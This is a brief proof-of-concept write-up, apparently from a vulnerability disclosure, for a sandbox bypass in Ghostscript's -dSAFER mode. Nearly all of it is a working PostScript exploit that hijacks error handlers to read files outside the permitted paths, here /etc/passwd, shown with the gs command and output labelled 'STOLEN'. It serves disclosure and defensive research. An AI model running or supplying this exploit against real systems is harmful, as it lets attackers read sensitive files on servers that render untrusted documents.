If you handle /undefinedfilename, you can provide a filename to pseudo operators that is outside of PermitFileReading. Getting the contents is tricky, but here is a demo:

$ cat fileread.ps
/FileToSteal (/etc/passwd) def
errordict /undefinedfilename {
    FileToSteal % save the undefined name
} put
errordict /undefined {
    (STOLEN: ) print
    counttomark {
        ==only
    } repeat
    (\n) print
    FileToSteal
} put
errordict /invalidfileaccess {
    pop
} put
errordict /typecheck {
    pop
} put
FileToSteal (w) .tempfile
statusdict
begin
    1 1 .setpagesize
end
quit
$ gs -q -sDEVICE=ppmraw -dSAFER  fileread.ps
GPL Ghostscript 9.23:
STOLEN: root:x:0:0:root:
STOLEN: daemon:x:1:1:daemon:/bash/bin/root:(/etc/passwd)
STOLEN: bin:x:2:2:bin:/nologin/sbin/usr/sbin:/usr(/etc/passwd)
STOLEN: sys:x:3:3:sys:/nologin/sbin/usr/bin:(/etc/passwd)
STOLEN: sync:x:4:65534:sync:/nologin/sbin/usr/dev:(/etc/passwd)
STOLEN: games:x:5:60:games:/sync/bin/bin:(/etc/passwd)